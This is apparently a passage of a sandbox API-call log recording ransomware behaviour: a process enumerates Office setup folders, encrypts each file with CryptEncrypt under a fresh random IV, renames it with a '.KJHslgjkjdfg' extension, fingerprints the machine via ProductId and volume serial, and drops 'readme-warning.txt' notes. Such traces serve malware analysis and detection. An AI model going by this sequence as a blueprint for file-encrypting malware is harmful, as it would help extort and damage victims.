SetEndOfFile (hFile=0x118) returned 1 [0170.508] GetProcessHeap () returned 0x2ef0000 [0170.508] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.508] GetProcessHeap () returned 0x2ef0000 [0170.508] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.508] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.kjhslgjkjdfg")) returned 1 [0170.509] CloseHandle (hObject=0x118) returned 1 [0170.509] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0170.509] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.509] GetProcessHeap () returned 0x2ef0000 [0170.509] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.509] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.509] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0170.510] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0xa, lpOverlapped=0x0) returned 1 [0170.512] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.512] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.512] GetProcessHeap () returned 0x2ef0000 [0170.512] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0170.512] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30) returned 1 [0170.512] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.512] WriteFile (in: hFile=0x118, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfed60*=0x30, lpOverlapped=0x0) returned 1 [0170.512] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0170.512] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0170.512] WriteFile (in: hFile=0x118, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0170.512] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0170.512] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.512] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.512] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.512] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.512] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7976, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x7976, lpOverlapped=0x0) returned 1 [0170.513] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x7980, dwBufLen=0x7980 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x7980) returned 1 [0170.514] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.514] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x7980, lpOverlapped=0x0) returned 1 [0170.514] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.514] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x7a44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.514] SetEndOfFile (hFile=0x118) returned 1 [0170.517] GetProcessHeap () returned 0x2ef0000 [0170.517] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0170.517] GetProcessHeap () returned 0x2ef0000 [0170.517] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.518] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.kjhslgjkjdfg")) returned 1 [0170.523] CloseHandle (hObject=0x118) returned 1 [0170.523] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0170.523] GetProcessHeap () returned 0x2ef0000 [0170.523] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.523] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.523] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c898, pdwDataLen=0x4dfeb98) returned 1 [0170.523] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.523] GetProcessHeap () returned 0x2ef0000 [0170.523] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0170.523] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.523] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98) returned 1 [0170.523] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.523] GetProcessHeap () returned 0x2ef0000 [0170.523] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f416d0 [0170.523] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.523] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f416d0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f416d0, pdwDataLen=0x4dfeb98) returned 1 [0170.523] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.524] GetProcessHeap () returned 0x2ef0000 [0170.524] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0170.524] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.524] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfe778 | out: pbData=0x2f0c928, pdwDataLen=0x4dfe778) returned 1 [0170.524] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.524] GetProcessHeap () returned 0x2ef0000 [0170.524] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.524] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.524] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe778 | out: pbData=0x2f11728, pdwDataLen=0x4dfe778) returned 1 [0170.524] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.524] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe774 | out: phkResult=0x4dfe774*=0x118) returned 0x0 [0170.524] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfe780, lpcbData=0x4dfe77c*=0x400 | out: lpType=0x0, lpData=0x4dfe780*=0x30, lpcbData=0x4dfe77c*=0x18) returned 0x0 [0170.524] RegCloseKey (hKey=0x118) returned 0x0 [0170.524] GetProcessHeap () returned 0x2ef0000 [0170.524] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0170.524] GetProcessHeap () returned 0x2ef0000 [0170.524] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.524] GetProcessHeap () returned 0x2ef0000 [0170.524] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.525] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.525] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe54c | out: pbData=0x2f11728, pdwDataLen=0x4dfe54c) returned 1 [0170.525] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.525] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0170.525] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0170.525] GetProcessHeap () returned 0x2ef0000 [0170.525] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.525] wsprintfA (in: param_1=0x4dfe797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0170.525] wsprintfA (in: param_1=0x4dfeba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0170.525] GetProcessHeap () returned 0x2ef0000 [0170.525] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f41a98 [0170.525] wsprintfW (in: param_1=0x4dfdb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\readme-warning.txt") returned 107 [0170.525] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.528] WriteFile (in: hFile=0x118, lpBuffer=0x2f41a98*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfdb70, lpOverlapped=0x0 | out: lpBuffer=0x2f41a98*, lpNumberOfBytesWritten=0x4dfdb70*=0x3b3, lpOverlapped=0x0) returned 1 [0170.530] CloseHandle (hObject=0x118) returned 1 [0170.534] GetProcessHeap () returned 0x2ef0000 [0170.534] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f416d0 | out: hHeap=0x2ef0000) returned 1 [0170.534] GetProcessHeap () returned 0x2ef0000 [0170.534] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f41a98 | out: hHeap=0x2ef0000) returned 1 [0170.534] GetProcessHeap () returned 0x2ef0000 [0170.534] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0170.534] GetProcessHeap () returned 0x2ef0000 [0170.534] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.534] FindClose (in: hFindFile=0x2f18308 | out: hFindFile=0x2f18308) returned 1 [0170.534] GetProcessHeap () returned 0x2ef0000 [0170.534] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0170.534] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="Publisher.en-us", cAlternateFileName="PUBLIS~1.EN-")) returned 1 [0170.534] GetProcessHeap () returned 0x2ef0000 [0170.534] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xd0) returned 0x2f14588 [0170.534] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*.*", lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName=".", cAlternateFileName="")) returned 0x2f18308 [0170.535] GetProcessHeap () returned 0x2ef0000 [0170.535] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0170.535] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="..", cAlternateFileName="")) returned 1 [0170.535] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="PublisherMUI.XML", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0170.535] GetProcessHeap () returned 0x2ef0000 [0170.536] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2d2) returned 0x2f47728 [0170.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.536] GetProcessHeap () returned 0x2ef0000 [0170.536] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.536] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.536] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0170.536] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0x6, lpOverlapped=0x0) returned 1 [0170.539] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.539] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.539] GetProcessHeap () returned 0x2ef0000 [0170.539] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.539] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40) returned 1 [0170.539] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.539] WriteFile (in: hFile=0x118, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfed60*=0x40, lpOverlapped=0x0) returned 1 [0170.539] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0170.539] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0170.539] WriteFile (in: hFile=0x118, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0170.539] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0170.539] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.540] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.540] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.540] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.540] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5aa, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x5aa, lpOverlapped=0x0) returned 1 [0170.540] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x5b0) returned 1 [0170.540] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.540] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x5b0, lpOverlapped=0x0) returned 1 [0170.540] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.540] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.540] SetEndOfFile (hFile=0x118) returned 1 [0170.541] GetProcessHeap () returned 0x2ef0000 [0170.541] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.541] GetProcessHeap () returned 0x2ef0000 [0170.541] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.541] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.kjhslgjkjdfg")) returned 1 [0170.542] CloseHandle (hObject=0x118) returned 1 [0170.542] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0170.542] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.543] GetProcessHeap () returned 0x2ef0000 [0170.543] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.543] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.543] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0170.543] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.545] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.545] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 